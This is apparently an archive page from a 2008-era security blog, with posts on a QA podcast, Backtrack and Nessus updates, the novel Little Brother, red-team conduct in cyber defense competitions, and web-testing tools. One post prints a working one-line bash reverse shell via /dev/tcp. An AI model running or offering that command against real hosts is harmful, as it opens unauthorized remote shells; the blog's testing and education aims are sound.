Security testing

On a cold cold, frigid, icy, low-temperature, freezing...okay...too much.

One day last winter, Rafal Los, @wh1t3rabbit, Kenneth Johnson, @patories, and I were going to have dinner together. As is often the case with Raf, that means we did a podcast first 🙂

We had a nice chat about software testing, QA, who should do it, and other ramblings. Go ahead and give it a listen.

MicroCast 04 - Kevin Riggins & Kenneth Johnson - QA + Security Software Testing

As always, comments are welcome below.


{ 1 comment }

Woot. Offensive Security has released Backtrack 4 Pre-Final to the public.

I updated my Backtrack 4 USB/Persistent Changes/Nessus How-to a couple weeks ago with instructions, but a public link was not available.  The how-to has been updated with download locations and links to the md5sum and sha256sums.

Have fun.



Backtrack 3 How-to updated…

by kriggins on September 16, 2008

in Security testing, Tips

Well folks, I made a rather stupid mistake in my Backtrack 3 how-to.  Instead of writing ">>" to append information to a file, I wrote ">" which overwrites the file.

Bad things happen when you overwrite the /etc/ file.

Thank you very much to David who left a comment pointing out my mistake.  The how-to has been updated.



I just finished reading Cory Doctorow's Little Brother. You can buy a copy here or read it for free here. Don't let its classification as young adult deter you.  I really enjoyed it. If you are interested in privacy and government and how "it's for your own good" can escalate out of control, I highly recommend giving it a gander.

In the book, there is a terrorist attack on San Francisco which results in draconian security measures being put in place. Our protagonist is Marcus, a 17 year old, who gets picked up by those enforcing the new security measures and is sorely mistreated.  Through the book, we follow Marcus as he fights for his rights and the rights of his friends as citizens using every means at his disposal, most of them being technical in nature.  He is able to circumvent many of the controls put in place because he is a savvy, technically astute individual who has the security mindset we talk about frequently and is in many cases smarter than those who designed the systems he fights against.

So what does all this have to do with a secure system design that is impossible to break? Well, first of all, it is impossible to design a secure system that is impossible to break 🙂 Further, as Bruce Schneier says in the afterword:

"Anyone can design a security system so strong he himself can't break it."

We see this same type of phenomenon in other areas. For me, it's proof reading.  I have the hardest time proof reading my own writing because I know what it is supposed to say. My own brain gets in my way and I read text as I intended it to be as opposed to how I actually wrote it.

If we can't design perfect systems and we are not able to sufficiently test our systems ourselves, how can we improve those designs to make them more robust and harder to break?

There are a lot of things we can do like build on the successes of other, use "best practices", etc.  However, I can think of a couple things that can significantly improve our efforts:

  1. Peer review - We should have our peers look at our designs.  They will see things that we are blind to.
  2. Testing by a third party - Yes, I am promoting third party testing of our systems, preferably by more than one person. Again, the more eyes involved in reviewing a system, the better chance that weaknesses will be found. I am not proposing that every system get a third party review. It would be prohibitively expensive.  However, important ones probably should.

This also started me thinking about our risk assessment processes and procedures.  If we develop our risk assessment processes internally, aren't we, in the context of the assertions above, creating a system that is destined to have built-in short comings?  Should we have our risk assessment processes "tested?"

I'm interested in your thoughts on both topics, so drop me a note in the comments.


Technorati Tags: ,

{ 1 comment }

Hey Nessus, do you do sudo?

by kriggins on May 16, 2008

in Security testing, Tips, Tools

We all know and love Nessus. Well today, Tenable made it even better. Nessus now fully supports su and sudo for audit and patch compliance checks. This is very cool.

Next, in response to the ssh key bruhaha this week, there are now a couple of plugins that will check for weak keys in SSH and SSL protected webservers.

Caveat: It appears that you need to be Direct Feed/Professional subscriber to use these features.



Bash based reverse shell wickedness

by kriggins on April 17, 2008

in Security testing, Tips, Tools

ShellNeohapsis just created a lot of pain for those who are trying to stop folks who able to execute arbitrary code on a host, but unable to get a reverse shell.  Used to be you could remove netcat, wget, ftp, etc... and make it much more difficult for a reverse shell to be started.  Enter the ever friendly and helpful Bash shell.

All you need is:

$ exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0

and tadaa, reverse shell.

Go check it out -

Kevin Riggins

{ 1 comment }

Look Ma…I’m on the Red Team

by kriggins on April 13, 2008

in Security testing


You're sitting in a dark room, the only light is that coming off your computer screen. You have found a tasty looking website that you are pretty sure has some significant vulnerabilities that you can exploit. You carefully probe the system and yes, the application has a vulnerability that hasn't been patched. You fire off an exploit and all of a sudden you have a remote shell on their system. But wait, it's an account with limited permissions. Darn! Okay, how about local privilege escalation. Sure enough, the kernel is not up to date. Another exploit is fired off and BOOM you have root. You have successfully p0wned the system. Now it's time to figure out how to make some money with the what you have, right? WRONG!!!!!

Cyber Defense Competition

You have just achieved what you believe to be your goal as a member of the Red Team during a Cyber Defense Competition.

A Cyber Defense Competition is a competition where teams compete to see who can best fight off a bunch of hackers and maintain service availability in the process. Actually, not really hackers. The "hackers" are experienced, and sometimes not so experienced, volunteers who play the part of hackers. This is the Red Team. These competitions can go from intra-organization events all the way up to national competitions. This is the website for the National Collegiate Cyber Defense Competition. I could go into a lot more detail about what a CDC is and how they are setup, but that is not really why I am writing today.

Why are you participating on the Red Team?

This weekend I had an enjoyable Twitter conversation with @leighhollowell and @AJolly about CDCs. During the course of that conversation I was struck by several comments that gave me the impression that the team participants often come away from a competition without useful feedback from some of the teams, particularly the Red Team. That's why you are reading this note if you have made it this far 🙂

The first time I had the opportunity to be on a Red Team, I thought "Cool, I get to be a hacker and can't get in trouble for it. All I have to do is show up and hack away." And that is what I did. Bad me and bad you if that is why you decide to be on a Red Team.

The purpose of the Red Team is not to give the members an opportunity to get their jollies by beating up on the teams. Yes, that is your role for the competition, but that should not be your purpose for being there.

Why should you be participating on the Red Team?

I feel a CDC should be a learning experience for the folks who participate on the teams. As such, it behooves you as a member of the Re d Team to help educate the participants.

I can hear your thoughts now, "How can I do that? I'm not a teacher." Actually, you are and it it isn't even hard. You can help educate by showing the thought processes you used to gain control of the systems you attack, by showing how they could have implemented controls that would have better protected the systems, and by trying to give them some insight into how the "hacker" mind thinks. These types of things are helpful and believe it or not educational to the folks you are working against in the competition.

Just knowing that x service got hacked doesn't help them learn, knowing how and why and what they can do in the future to stop it getting hacked does.

Okay, maybe I can be a teacher. What are some ways to do that?

We've, or at least I've, established what the Red Team's real purpose is. Not to hack, but to educate. So how do we do that. Here are a few things that can provide that extra bit to the teams:

  1. Keep good notes - It's real easy to get caught up in the moment and justTeacher start banging away. Try to resist doing so. Stop and write things down. Yes, it isn't sexy, but it sure is helpful. Also, provide those notes to the teams. They are a great way to show what your thought processes were when you were attacking their systems.
  2. Write down remedies - When you are successful at exploiting a system, write down how the team could have protected themselves. Again, it is very helpful for the team members to know how they could have protected themselves. If there was no way for them to have avoided getting hacked, i.e. 0-day, that is also helpful for them to know.
  3. Attend the debrief - Don't just go for the fun part. Stay and talk to the teams. If there isn't a formal debrief, try to take few minutes to talk to the teams. Tell them what they did right and show them what they could have been done better.

Doing these three things will turn being on the Red Team into a great opportunity to educate a group of people who may be the folks protecting your retirement accounts some day 🙂

Thanks for staying with me this long. I am really interested in your experiences as CDC participants, both as defenders or attackers. Feel free to leave a note in the comments or email me at kriggins _at_

Kevin Riggins

{ 1 comment }

The folks over at Darknet do a great job of pointing out interesting tools for use in penetration testing and web app security testing among other things. I won't be duplicating their feed here, but when I see something that I want to test for myself, I will be posting about it.

One such tool that I have been playing with a little over the couple of days is Edge-Security - ProxyStrike v1.0. from their site:

The process is very simple, ProxyStrike runs like a passive proxy listening in port 8008 by default, so you have to browse the desired web site setting your browser to use ProxyStrike as a proxy, and ProxyStrike will analyze all the paremeters in background mode. For the user is a passive proxy because you won't see any different in the behaviour of the application, but in the background is very active. 🙂

Nifty, I don't have to do anything, but browse about and rack up the vulnerability counts 🙂 Well, it is not quite that easy, but works quite well in the limited testing I have done using DVL.  I will be playing with it more and will report back what I find.


Sometimes it is nice to have a quick tool that will scan a site for basic XSS or SQL Injection vulnerabilities. It is even nicer if you don't have to go through some long drawn out setup procedure just to see if a field has any tasty morsels to chew on. Enter a free suite of tools call Exploit-Me by
Security Compass - Application Security.

The suite currently consists of two tools:

  1. XSS-Me - a tool to test for Cross-Site Scripting vulnerablities
  2. SQL Inject-Me - a tool to test for SQL Injection vulnerabilitie

The beauty of the Exploit-Me suite is the tools are Firefox add-ons and don't require a proxy.Install the add-on and when you are on a page you want to test, just open the sidebar and go to town.

Take a peek. I think you'll like them.

-Kevin Riggins

{ 1 comment }

You may all be aware of this, but I was not. Last night I was looking for a LiveCD to use for testing some web app testing tools against. A couple of fine folks, Craig and Wesley suggested I check Damn Vulnerable Linux. So I did.

After a couple hours of download time, the thing is 1.5 GBs, I fired up a virtual machine, booted the iso, started apache and began poking about. They have put together a fine set of vulnerable applications and web pages that are very useful for both learning about pen/web security testing and testing new tools you might come across. The testing part is good for keeping the intarweb police jackboots off you neck 🙂

Check it out.